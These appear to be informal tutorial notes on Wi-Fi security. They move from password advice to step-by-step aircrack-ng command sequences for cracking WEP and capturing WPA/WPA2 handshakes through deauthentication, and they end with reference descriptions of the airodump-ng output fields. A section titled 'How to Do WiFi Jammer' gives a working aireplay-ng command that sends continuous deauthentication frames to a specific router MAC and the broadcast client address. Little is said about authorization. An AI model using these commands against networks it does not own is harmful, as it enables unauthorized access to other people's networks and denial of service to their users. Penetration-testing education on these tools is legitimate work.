Wireless Security

Why Need of Wireless Security

free WiFi —> terrorist connect—-> email send —> innocent user got punish…..

How to Wireless secure
Strong password
–> numbers
–> alphabet
–> lowercase
–> upper case
–> special character


–> Minimum length –> 8 characters
–> Never share your WiFi password
–> Frequently change
–> Disable WPS

WiFi –> IEEE 802.11 –> Set of rules

WiFi Encryption
WEP –> RC4

DES –> Data Encryption Standard
AES –> Advance Encryption Standard

Step 1: To start the monitor mode
Step 2: To start gathering information about the wireless signals
Step 3: To start capturing the packets
Step 4: Cracking the WiFi password

Cracking WEP encryption

> airmon-ng start wlan0
kill processes

> airodump-ng wlan0mon

> airodump-ng –bssid <Target Router’s bssid> -c <channel number> -w wepcap wlan0mon
–bssid –> router’s mac address
-c –> channel number
-w –> to write/capture packets

> aircrack-ng wepcap-01.cap

Cracking WPA/WPA2

> airmon-ng start wlan0
kill processes

> airodump-ng wlan0mon

> airodump-ng –bssid <Target Router’s bssid> -c <channel number> -w wepcap wlan0mon
–bssid –> router’s mac address
-c –> channel number
-w –> to write/capture packets

> aireplay-ng -0 10 -a <bssid of router> -c <bssid of user> wlan0mon
-0 –> deauthentication packet
-a –> mac of target router
-c –> mac of any connected client

How to Do WiFi Jammer

aireplay-ng -0 0 -a C0:A0:BB:F4:FA:0C -c FF:FF:FF:FF:FF:FF wlan0mon

———This script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status. It can also list/kill programs that can interfere with the wireless card operation.

———– airodump-ng is used for packet capturing of raw 802.11 frames for the intent of using them with aircrack-ng. If you have a GPS receiver connected to the computer, airodump-ng is capable of logging the coordinates of the found access points. Additionally, airodump-ng writes out a text file containing the details of all access points and clients seen.

What is Beacons

Number of beacons sent by the AP. Each access point sends about ten beacons per second
at the lowest rate (1M), so they can usually be picked up from very far.

#Data Number of captured data packets (if WEP, unique IV count), including data broadcast

#/s Number of data packets per second measure over the last 10 seconds.

CH Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference.

MB Maximum speed supported by the AP. If MB = 11, it’s 802.11b, if MB = 22 it’s 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. ‘e’ indicates that the network has QoS (802.11e) enabled.

ENC Encryption algorithm in use. OPN = no encryption,”WEP?” = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP or MGT is present.

CIPHER The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.

AUTH The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).

WPS This is only displayed when –wps (or -W) is specified. If the AP supports WPS, the first field of the column indicates version supported. The second field indicates WPS config methods (can be more than one method, separated by comma): USB = USB method, ETHER = Ethernet, LAB = Label, DISP = Display, EXTNFC = External NFC, INTNFC = Inter‐ nal NFC, NFCINTF = NFC Interface, PBC = Push Button, KPAD = Keypad. Locked is dis‐ played when AP setup is locked.

ESSID The so-called “SSID”, which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association

———–aircrack-ng is an 802.11 WEP and WPA/WPA2-PSK key cracking program.
It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing. Additionally, the program offers a dictionary method for determining the WEP key. For cracking WPA/WPA2 pre-shared keys, a word-list (file or stdin) or an airolib-ng has to be used.

———–aireplay-ng is used to inject/replay frames. The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys. There are different attacks which can cause deauthentications for the purpose of capturing WPA handshake data, fake authentications, Interactive packet replay, hand-crafted ARP request injection and ARP-
request re injection. With the packet forge-ng tool it’s possible to create arbitrary frames.
